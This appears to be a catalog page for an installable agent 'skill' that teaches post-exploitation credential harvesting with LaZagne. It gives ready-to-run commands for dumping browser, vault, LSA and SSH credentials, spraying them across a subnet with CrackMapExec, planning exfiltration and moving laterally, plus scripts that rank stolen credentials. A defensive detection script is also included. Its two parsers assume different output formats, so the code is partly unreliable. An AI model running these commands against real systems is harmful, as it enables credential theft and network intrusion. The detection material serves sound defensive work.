red teaming

Performing Credential Access with LaZagne

Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.

credential-accesscredential-dumpinglateral-movementlazagnepassword-recoverypost-exploitationred-team
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.

When to Use

  • When conducting security assessments that involve performing credential access with lazagne
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
  • Extract credentials from all supported password stores
  • Parse and prioritize recovered credentials for lateral movement
  • Identify high-value credentials (domain admin, service accounts, cloud access)
  • Document credential harvesting results with appropriate evidence handling
  • Correlate recovered credentials with BloodHound attack paths

MITRE ATT&CK Mapping

  • T1555 - Credentials from Password Stores
  • T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
  • T1555.004 - Credentials from Password Stores: Windows Credential Manager
  • T1552.001 - Unsecured Credentials: Credentials In Files
  • T1552.002 - Unsecured Credentials: Credentials in Registry
  • T1003.004 - OS Credential Dumping: LSA Secrets
  • T1539 - Steal Web Session Cookie

Workflow

Phase 1: LaZagne Deployment

  1. Transfer LaZagne to the compromised host:
    # Pre-compiled executable (Windows)
    # Transfer lazagne.exe via C2 channel or file upload
     
    # Python version (requires Python on target)
    git clone https://github.com/AlessandroZ/LaZagne.git
    cd LaZagne
    pip install -r requirements.txt
  2. Verify execution capability and privileges:
    # Check current user context
    whoami /priv
     
    # LaZagne works with standard user privileges for user-level stores
    # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM

Phase 2: Full Credential Extraction (Windows)

  1. Run LaZagne with all modules:
    # Extract all credentials
    lazagne.exe all
     
    # Export results to JSON
    lazagne.exe all -oJ
     
    # Export results to specific file
    lazagne.exe all -oJ -output C:\Temp\creds
  2. Run specific modules for targeted extraction:
    # Browsers only (Chrome, Firefox, Edge, Opera, IE)
    lazagne.exe browsers
     
    # Windows credential stores
    lazagne.exe windows
     
    # Database credentials
    lazagne.exe databases
     
    # Email client credentials
    lazagne.exe mails
     
    # Wi-Fi passwords
    lazagne.exe wifi
     
    # Git credentials
    lazagne.exe git
     
    # System credentials (requires elevated privileges)
    lazagne.exe sysadmin

Phase 3: Credential Extraction (Linux)

  1. Run LaZagne on Linux targets:
    # Full extraction
    python3 laZagne.py all
     
    # Browser credentials
    python3 laZagne.py browsers
     
    # System credentials (SSH keys, shadow file with root)
    python3 laZagne.py sysadmin
     
    # Database credentials
    python3 laZagne.py databases
     
    # Git credentials
    python3 laZagne.py git

Phase 4: Credential Analysis and Prioritization

  1. Parse JSON output for unique credentials:
    import json
    with open("creds.json") as f:
        results = json.load(f)
    for module in results:
        for entry in module.get("results", []):
            print(f"Source: {entry.get('Category')}")
            print(f"  User: {entry.get('Login', 'N/A')}")
            print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
  2. Prioritize credentials by value:
    • Domain credentials (AD accounts) for lateral movement
    • Cloud service credentials (AWS, Azure, GCP console)
    • VPN and remote access credentials
    • Database credentials for data access
    • Email credentials for business email compromise
    • Service account credentials for privilege escalation

Phase 5: Credential Validation and Use

  1. Validate recovered domain credentials:
    # Test domain credentials with CrackMapExec
    crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
     
    # Test with Impacket
    smbclient.py domain.local/user:'password'@10.10.10.1
  2. Cross-reference with BloodHound paths for high-value targets
  3. Use recovered credentials for lateral movement or privilege escalation

Tools and Resources

Tool Purpose Platform
LaZagne Multi-source credential extraction Windows/Linux/macOS
Mimikatz LSASS/DPAPI credential dumping Windows
SharpChrome Chrome credential extraction (.NET) Windows
SharpDPAPI DPAPI credential decryption Windows
CrackMapExec Credential validation and spraying Linux
Impacket Remote credential testing Linux (Python)

LaZagne Module Coverage (Windows)

Category Modules
Browsers Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi
Email Outlook, Thunderbird, Foxmail
Databases PostgreSQL, MySQL, SQLiteDB, Robomongo
Sysadmin PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager
Windows Credential Manager, Vault, DPAPI, Autologon
WiFi Stored Wi-Fi passwords
Git Git Credential Store, Git Credential Manager
SVN TortoiseSVN
Chat Pidgin, Skype

Detection Signatures

Indicator Detection Method
LaZagne.exe process execution EDR process monitoring with hash-based detection
Access to Chrome Login Data SQLite DB File access monitoring on browser credential stores
DPAPI CryptUnprotectData API calls API hooking and ETW tracing
Access to Windows Credential Manager Event 5379 (Credential Manager read)
Mass credential store enumeration Behavioral analysis for sequential access patterns
Python interpreter accessing credential files Script block logging and file access auditing

Validation Criteria

  • LaZagne deployed on compromised endpoint
  • Full credential extraction completed (all modules)
  • Credentials exported in JSON format for analysis
  • Recovered credentials parsed and deduplicated
  • High-value credentials identified and prioritized
  • Domain credentials validated against AD
  • Lateral movement opportunities identified from recovered creds
  • Evidence documented with appropriate handling procedures
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md5.3 KB

API Reference: LaZagne Credential Access Detection

Libraries Used

Library Purpose
subprocess Execute LaZagne CLI for credential recovery testing
json Parse LaZagne JSON output
pathlib Handle output file paths
os Check platform and privilege level

Installation

# Python (from source)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
 
# Windows
pip install -r requirements.txt
python laZagne.py --help
 
# Linux
pip install -r requirements.txt
python laZagne.py --help
 
# Pre-compiled Windows binary
# Download from GitHub Releases

CLI Reference

Retrieve All Credentials

# All modules, JSON output
python laZagne.py all -oJ
 
# All modules, text output to file
python laZagne.py all -oA -output /tmp/lazagne_results
 
# Run with elevated privileges (recommended for full results)
# Windows: Run as Administrator
# Linux: sudo python laZagne.py all

Module-Specific Scans

# Browser credentials only
python laZagne.py browsers
 
# WiFi passwords
python laZagne.py wifi
 
# Database credentials
python laZagne.py databases
 
# System credentials (Windows)
python laZagne.py windows
 
# Email client credentials
python laZagne.py mails
 
# Git credentials
python laZagne.py git

Key CLI Flags

Flag Description
all Run all credential recovery modules
browsers Chrome, Firefox, Edge, Opera, IE passwords
wifi Saved WiFi network passwords
databases Database client saved credentials
windows Windows credential manager, vault, LSA
mails Email client saved passwords
git Git credential store and helpers
sysadmin Admin tools (PuTTY, WinSCP, FileZilla)
-oJ Output as JSON
-oA Output all formats (JSON + TXT)
-output Output directory path
-password Master password for specific modules
-v Verbose output

Available Modules

Windows Modules

Module Targets
chrome Chrome saved passwords and cookies
firefox Firefox logins.json
edge Edge Chromium saved passwords
ie Internet Explorer saved credentials
credman Windows Credential Manager
vault Windows Vault
lsa_secrets LSA Secrets (requires SYSTEM)
cachedump Domain cached credentials
winscp WinSCP session passwords
putty PuTTY saved sessions
filezilla FileZilla saved servers
wifi Saved WiFi profiles

Linux Modules

Module Targets
chrome Chrome/Chromium saved passwords
firefox Firefox saved passwords
kde KDE Wallet credentials
gnome GNOME Keyring
wifi NetworkManager WiFi passwords
docker Docker config.json
ssh SSH private keys (detection only)
git Git credential store
env Environment variable secrets

Python Integration

Run LaZagne and Parse Results

import subprocess
import json
import os
from pathlib import Path
 
def run_lazagne(modules="all", output_dir="/tmp/lazagne"):
    """Run LaZagne and parse JSON output for credential audit."""
    os.makedirs(output_dir, exist_ok=True)
    cmd = ["python", "laZagne.py", modules, "-oJ", "-output", output_dir]
 
    result = subprocess.run(
        cmd, capture_output=True, text=True, timeout=120,
    )
 
    # Find the JSON output file
    json_files = list(Path(output_dir).glob("*.json"))
    if json_files:
        with open(json_files[0]) as f:
            return json.load(f)
    return []

Categorize Findings by Risk

HIGH_RISK_MODULES = {"lsa_secrets", "cachedump", "credman", "vault", "wifi"}
MEDIUM_RISK_MODULES = {"chrome", "firefox", "edge", "putty", "winscp", "filezilla"}
 
def categorize_credentials(lazagne_output):
    summary = {"high": [], "medium": [], "low": [], "total": 0}
    for module_result in lazagne_output:
        module_name = list(module_result.keys())[0]
        creds = module_result[module_name]
        if not creds:
            continue
        for cred in creds:
            entry = {"module": module_name, **cred}
            if module_name in HIGH_RISK_MODULES:
                summary["high"].append(entry)
            elif module_name in MEDIUM_RISK_MODULES:
                summary["medium"].append(entry)
            else:
                summary["low"].append(entry)
            summary["total"] += 1
    return summary

MITRE ATT&CK Mapping

Technique ID Description
Credentials from Password Stores T1555 Browser, credential manager
Credentials from Web Browsers T1555.003 Chrome, Firefox, Edge
Windows Credential Manager T1555.004 Credential Manager, Vault
Cached Domain Credentials T1003.005 Domain cached logon
LSA Secrets T1003.004 LSA secret extraction

Output Format

[
  {
    "chrome": [
      {
        "URL": "https://internal.example.com/login",
        "Login": "admin@example.com",
        "Password": "REDACTED"
      }
    ]
  },
  {
    "wifi": [
      {
        "SSID": "CorpWiFi-5G",
        "Password": "REDACTED",
        "Authentication": "WPA2-Personal"
      }
    ]
  },
  {
    "credman": [
      {
        "Target": "TERMSRV/prod-server-01",
        "Username": "DOMAIN\\admin",
        "Password": "REDACTED"
      }
    ]
  }
]
standards.md1.0 KB

Standards and References - LaZagne Credential Access

MITRE ATT&CK References

Technique ID Name Tactic
T1555 Credentials from Password Stores Credential Access
T1555.003 Credentials from Web Browsers Credential Access
T1555.004 Windows Credential Manager Credential Access
T1552.001 Credentials In Files Credential Access
T1552.002 Credentials in Registry Credential Access
T1003.004 LSA Secrets Credential Access
T1539 Steal Web Session Cookie Credential Access

MITRE ATT&CK Software Entry

Official Resources

Detection References

  • Windows Event 5379: Credential Manager credentials were read
  • DPAPI CryptUnprotectData monitoring
  • Chrome Login Data file access monitoring
workflows.md1.7 KB

Workflows - LaZagne Credential Access

Credential Harvesting Workflow

1. Pre-Execution
   ├── Verify access level (standard user vs. admin/SYSTEM)
   ├── Check AV/EDR status on target
   ├── Prepare output directory for results
   └── Plan exfiltration method for credential data
 
2. Execution
   ├── Run lazagne.exe all -oJ for full extraction
   ├── Run specific modules if full scan is too noisy
   ├── Elevate to SYSTEM if needed for DPAPI/LSA
   └── Collect output files
 
3. Analysis
   ├── Parse JSON output
   ├── Deduplicate credentials
   ├── Categorize by source (browser, email, system, etc.)
   └── Prioritize by value (domain creds > local > web)
 
4. Validation
   ├── Test domain credentials with CrackMapExec
   ├── Verify cloud credentials (AWS CLI, Azure CLI)
   ├── Check VPN/remote access credentials
   └── Map credentials to BloodHound attack paths
 
5. Lateral Movement
   ├── Use validated credentials for next hop
   ├── Repeat credential harvesting on new targets
   └── Document credential chain for report

Module Execution Priority

High Priority (run first):
  browsers    → Web application credentials, SSO tokens
  windows     → Domain cached credentials, DPAPI
  sysadmin    → SSH keys, RDP credentials, PuTTY
 
Medium Priority:
  databases   → Database connection strings
  mails       → Email credentials for BEC
  git         → Source code repository access
 
Low Priority:
  wifi        → Network access but limited value
  chat        → Communication platform access
  svn         → Legacy source control

Scripts 2

agent.py10.1 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""LaZagne credential access detection agent.

Detects evidence of LaZagne credential harvesting tool execution on
endpoints by scanning for process artifacts, file system indicators,
and Windows event log entries associated with credential dumping.
Used for defensive detection and incident response, not offensive use.
"""
import argparse
import json
import os
import subprocess
import sys
from datetime import datetime, timezone


LAZAGNE_INDICATORS = {
    "file_paths": [
        "lazagne.exe", "LaZagne.exe", "laZagne.py",
        "lazagne_output.txt", "credentials.txt",
    ],
    "process_names": [
        "lazagne.exe", "python.exe lazagne",
    ],
    "registry_keys": [
        r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    ],
    "event_ids": {
        4688: "Process creation (look for lazagne.exe or suspicious python)",
        4663: "File access audit (credential store access)",
        4656: "Handle request to credential objects",
    },
    "credential_stores": [
        # Windows
        r"%APPDATA%\Mozilla\Firefox\Profiles",
        r"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data",
        r"%APPDATA%\Opera Software\Opera Stable\Login Data",
        # Linux
        os.path.expanduser("~/.mozilla/firefox"),
        os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
        "/etc/shadow",
        os.path.expanduser("~/.ssh"),
    ],
}


def scan_filesystem_indicators(search_paths=None):
    """Scan file system for LaZagne artifacts."""
    findings = []
    if search_paths is None:
        if sys.platform == "win32":
            search_paths = [
                os.environ.get("TEMP", "C:\\Temp"),
                os.environ.get("USERPROFILE", "C:\\Users\\Default"),
                "C:\\Windows\\Temp",
            ]
        else:
            search_paths = ["/tmp", "/var/tmp", os.path.expanduser("~")]

    print("[*] Scanning filesystem for LaZagne indicators...")
    for search_path in search_paths:
        if not os.path.isdir(search_path):
            continue
        for root, dirs, files in os.walk(search_path):
            for fname in files:
                fname_lower = fname.lower()
                for indicator in LAZAGNE_INDICATORS["file_paths"]:
                    if indicator.lower() in fname_lower:
                        full_path = os.path.join(root, fname)
                        stat = os.stat(full_path)
                        findings.append({
                            "type": "file_indicator",
                            "path": full_path,
                            "indicator": indicator,
                            "size": stat.st_size,
                            "modified": datetime.fromtimestamp(stat.st_mtime, tz=timezone.utc).isoformat(),
                            "severity": "CRITICAL",
                            "description": f"LaZagne artifact found: {fname}",
                        })
            # Limit directory depth to avoid slow scans
            if root.count(os.sep) - search_path.count(os.sep) > 3:
                dirs.clear()

    return findings


def check_windows_event_logs():
    """Check Windows Security event logs for LaZagne-related activity."""
    findings = []
    if sys.platform != "win32":
        return findings

    print("[*] Checking Windows Security event logs...")

    # Check for process creation events matching LaZagne
    ps_script = """
    Get-WinEvent -FilterHashtable @{
        LogName='Security'; Id=4688; StartTime=(Get-Date).AddDays(-7)
    } -MaxEvents 1000 -ErrorAction SilentlyContinue |
    Where-Object {
        $_.Properties[5].Value -match 'lazagne|LaZagne' -or
        $_.Properties[8].Value -match 'lazagne|LaZagne'
    } |
    Select-Object TimeCreated, @{N='ProcessName';E={$_.Properties[5].Value}},
        @{N='CommandLine';E={$_.Properties[8].Value}},
        @{N='User';E={$_.Properties[1].Value}} |
    ConvertTo-Json
    """
    result = subprocess.run(
        ["powershell", "-Command", ps_script],
        capture_output=True, text=True, timeout=60,
    )
    if result.returncode == 0 and result.stdout.strip():
        try:
            events = json.loads(result.stdout)
            if isinstance(events, dict):
                events = [events]
            for evt in events:
                findings.append({
                    "type": "event_log",
                    "event_id": 4688,
                    "time": str(evt.get("TimeCreated", "")),
                    "process": evt.get("ProcessName", ""),
                    "command_line": evt.get("CommandLine", "")[:200],
                    "user": evt.get("User", ""),
                    "severity": "CRITICAL",
                    "description": "LaZagne process execution detected in event logs",
                })
        except json.JSONDecodeError:
            pass

    # Check for credential file access (Event ID 4663)
    ps_script2 = """
    Get-WinEvent -FilterHashtable @{
        LogName='Security'; Id=4663; StartTime=(Get-Date).AddDays(-7)
    } -MaxEvents 500 -ErrorAction SilentlyContinue |
    Where-Object {
        $_.Properties[6].Value -match 'Login Data|logins.json|Credentials|vault'
    } |
    Select-Object TimeCreated, @{N='ObjectName';E={$_.Properties[6].Value}},
        @{N='ProcessName';E={$_.Properties[11].Value}} |
    ConvertTo-Json
    """
    result = subprocess.run(
        ["powershell", "-Command", ps_script2],
        capture_output=True, text=True, timeout=60,
    )
    if result.returncode == 0 and result.stdout.strip():
        try:
            events = json.loads(result.stdout)
            if isinstance(events, dict):
                events = [events]
            for evt in events:
                findings.append({
                    "type": "credential_access",
                    "event_id": 4663,
                    "time": str(evt.get("TimeCreated", "")),
                    "object": evt.get("ObjectName", ""),
                    "process": evt.get("ProcessName", ""),
                    "severity": "HIGH",
                    "description": "Credential store accessed by process",
                })
        except json.JSONDecodeError:
            pass

    return findings


def check_credential_store_integrity():
    """Check if credential stores have been recently accessed unusually."""
    findings = []
    print("[*] Checking credential store integrity...")

    stores_to_check = []
    if sys.platform == "win32":
        appdata = os.environ.get("APPDATA", "")
        localappdata = os.environ.get("LOCALAPPDATA", "")
        stores_to_check = [
            (os.path.join(localappdata, "Google", "Chrome", "User Data", "Default", "Login Data"), "Chrome"),
            (os.path.join(appdata, "Mozilla", "Firefox"), "Firefox"),
        ]
    else:
        stores_to_check = [
            (os.path.expanduser("~/.config/google-chrome/Default/Login Data"), "Chrome"),
            (os.path.expanduser("~/.mozilla/firefox"), "Firefox"),
            (os.path.expanduser("~/.ssh"), "SSH Keys"),
        ]

    for path, store_name in stores_to_check:
        if os.path.exists(path):
            if os.path.isfile(path):
                stat = os.stat(path)
                access_time = datetime.fromtimestamp(stat.st_atime, tz=timezone.utc)
                mod_time = datetime.fromtimestamp(stat.st_mtime, tz=timezone.utc)
                findings.append({
                    "type": "credential_store",
                    "store": store_name,
                    "path": path,
                    "last_accessed": access_time.isoformat(),
                    "last_modified": mod_time.isoformat(),
                    "severity": "INFO",
                })

    return findings


def format_summary(all_findings):
    """Print detection summary."""
    print(f"\n{'='*60}")
    print(f"  LaZagne Credential Access Detection Report")
    print(f"{'='*60}")

    file_findings = [f for f in all_findings if f["type"] == "file_indicator"]
    event_findings = [f for f in all_findings if f["type"] in ("event_log", "credential_access")]
    store_findings = [f for f in all_findings if f["type"] == "credential_store"]

    print(f"  File Indicators  : {len(file_findings)}")
    print(f"  Event Log Hits   : {len(event_findings)}")
    print(f"  Credential Stores: {len(store_findings)}")

    critical = [f for f in all_findings if f.get("severity") == "CRITICAL"]
    if critical:
        print(f"\n  CRITICAL FINDINGS ({len(critical)}):")
        for f in critical:
            print(f"    [{f['type']}] {f.get('description', f.get('path', ''))}")

    severity_counts = {}
    for f in all_findings:
        sev = f.get("severity", "INFO")
        severity_counts[sev] = severity_counts.get(sev, 0) + 1
    return severity_counts


def main():
    parser = argparse.ArgumentParser(
        description="LaZagne credential access detection agent (defensive use)"
    )
    parser.add_argument("--search-paths", nargs="+", help="Paths to scan for artifacts")
    parser.add_argument("--skip-events", action="store_true", help="Skip Windows event log check")
    parser.add_argument("--skip-stores", action="store_true", help="Skip credential store check")
    parser.add_argument("--output", "-o", help="Output JSON report")
    parser.add_argument("--verbose", "-v", action="store_true")
    args = parser.parse_args()

    all_findings = []
    all_findings.extend(scan_filesystem_indicators(args.search_paths))
    if not args.skip_events:
        all_findings.extend(check_windows_event_logs())
    if not args.skip_stores:
        all_findings.extend(check_credential_store_integrity())

    severity_counts = format_summary(all_findings)

    report = {
        "timestamp": datetime.now(timezone.utc).isoformat(),
        "tool": "LaZagne Detection",
        "findings": all_findings,
        "severity_counts": severity_counts,
        "risk_level": (
            "CRITICAL" if severity_counts.get("CRITICAL", 0) > 0
            else "HIGH" if severity_counts.get("HIGH", 0) > 0
            else "LOW"
        ),
    }

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"\n[+] Report saved to {args.output}")
    elif args.verbose:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
process.py6.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
LaZagne Output Parser and Credential Analysis Script

Parses LaZagne JSON output, deduplicates credentials, and generates
prioritized reports. For authorized red team engagements only.
"""

import json
import sys
import os
from datetime import datetime
from collections import defaultdict


def load_lazagne_output(filepath: str) -> list:
    """Load LaZagne JSON output file."""
    try:
        with open(filepath, "r") as f:
            return json.load(f)
    except (FileNotFoundError, json.JSONDecodeError) as e:
        print(f"Error loading LaZagne output: {e}")
        return []


def parse_credentials(data: list) -> list:
    """Parse LaZagne output into normalized credential entries."""
    credentials = []

    for module_result in data:
        if isinstance(module_result, dict):
            category = module_result.get("Category", "Unknown")
            results = module_result.get("results", [])

            if isinstance(results, list):
                for entry in results:
                    if isinstance(entry, dict):
                        cred = {
                            "category": category,
                            "username": entry.get("Login", entry.get("Username", "")),
                            "password": entry.get("Password", ""),
                            "url": entry.get("URL", entry.get("Host", "")),
                            "port": entry.get("Port", ""),
                            "source": entry.get("Software", entry.get("Module", category)),
                            "raw": entry
                        }
                        if cred["username"] or cred["password"]:
                            credentials.append(cred)

    return credentials


def deduplicate_credentials(credentials: list) -> list:
    """Remove duplicate credential entries."""
    seen = set()
    unique = []

    for cred in credentials:
        key = (
            cred["username"].lower(),
            cred["password"],
            cred["url"].lower() if cred["url"] else ""
        )
        if key not in seen:
            seen.add(key)
            unique.append(cred)

    return unique


def categorize_credentials(credentials: list) -> dict:
    """Categorize credentials by type and priority."""
    categories = {
        "domain": [],
        "cloud": [],
        "database": [],
        "remote_access": [],
        "email": [],
        "web": [],
        "other": []
    }

    cloud_indicators = ["aws", "azure", "gcp", "cloud", "console."]
    remote_indicators = ["rdp", "ssh", "vnc", "vpn", "putty", "winscp"]
    db_indicators = ["postgres", "mysql", "mssql", "oracle", "mongodb", "redis"]
    email_indicators = ["outlook", "thunderbird", "smtp", "imap", "pop3", "mail"]

    for cred in credentials:
        source_lower = cred["source"].lower()
        url_lower = cred["url"].lower() if cred["url"] else ""
        combined = source_lower + " " + url_lower

        if "\\" in cred["username"] or "@" in cred["username"]:
            if any(domain_hint in cred["username"].lower()
                   for domain_hint in [".local", ".corp", ".internal", "\\"]):
                categories["domain"].append(cred)
                continue

        if any(ind in combined for ind in cloud_indicators):
            categories["cloud"].append(cred)
        elif any(ind in combined for ind in db_indicators):
            categories["database"].append(cred)
        elif any(ind in combined for ind in remote_indicators):
            categories["remote_access"].append(cred)
        elif any(ind in combined for ind in email_indicators):
            categories["email"].append(cred)
        elif cred["url"]:
            categories["web"].append(cred)
        else:
            categories["other"].append(cred)

    return categories


def generate_report(credentials: list, categories: dict, source_file: str) -> str:
    """Generate a credential analysis report."""
    report = [
        "=" * 70,
        "LaZagne Credential Analysis Report",
        f"Generated: {datetime.now().isoformat()}",
        f"Source File: {source_file}",
        "=" * 70,
        "",
        f"Total Credentials Recovered: {len(credentials)}",
        "",
        "Breakdown by Priority:",
        f"  [CRITICAL] Domain Credentials: {len(categories['domain'])}",
        f"  [HIGH]     Cloud Credentials: {len(categories['cloud'])}",
        f"  [HIGH]     Remote Access: {len(categories['remote_access'])}",
        f"  [MEDIUM]   Database Credentials: {len(categories['database'])}",
        f"  [MEDIUM]   Email Credentials: {len(categories['email'])}",
        f"  [LOW]      Web Credentials: {len(categories['web'])}",
        f"  [INFO]     Other: {len(categories['other'])}",
        ""
    ]

    priority_order = [
        ("CRITICAL", "Domain Credentials", categories["domain"]),
        ("HIGH", "Cloud Credentials", categories["cloud"]),
        ("HIGH", "Remote Access Credentials", categories["remote_access"]),
        ("MEDIUM", "Database Credentials", categories["database"]),
        ("MEDIUM", "Email Credentials", categories["email"]),
    ]

    for priority, label, creds in priority_order:
        if creds:
            report.append(f"[{priority}] {label}:")
            report.append("-" * 50)
            for cred in creds:
                report.append(f"  Source: {cred['source']}")
                report.append(f"  User: {cred['username']}")
                report.append(f"  Target: {cred['url'] or 'N/A'}")
                report.append("")

    # Source distribution
    source_counts = defaultdict(int)
    for cred in credentials:
        source_counts[cred["source"]] += 1

    report.append("Credentials by Source:")
    report.append("-" * 50)
    for source, count in sorted(source_counts.items(), key=lambda x: -x[1]):
        report.append(f"  {source}: {count}")

    report.append("")
    report.append("=" * 70)
    return "\n".join(report)


def main():
    """Main entry point."""
    if len(sys.argv) < 2:
        print("Usage: python process.py <lazagne_output.json>")
        return

    input_file = sys.argv[1]
    data = load_lazagne_output(input_file)

    if not data:
        print("No data loaded from LaZagne output.")
        return

    credentials = parse_credentials(data)
    credentials = deduplicate_credentials(credentials)
    categories = categorize_credentials(credentials)

    report = generate_report(credentials, categories, input_file)
    print(report)

    report_file = f"credential_analysis_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
    with open(report_file, "w") as f:
        f.write(report)
    print(f"\nReport saved to: {report_file}")


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 0.9 KB
Keep exploring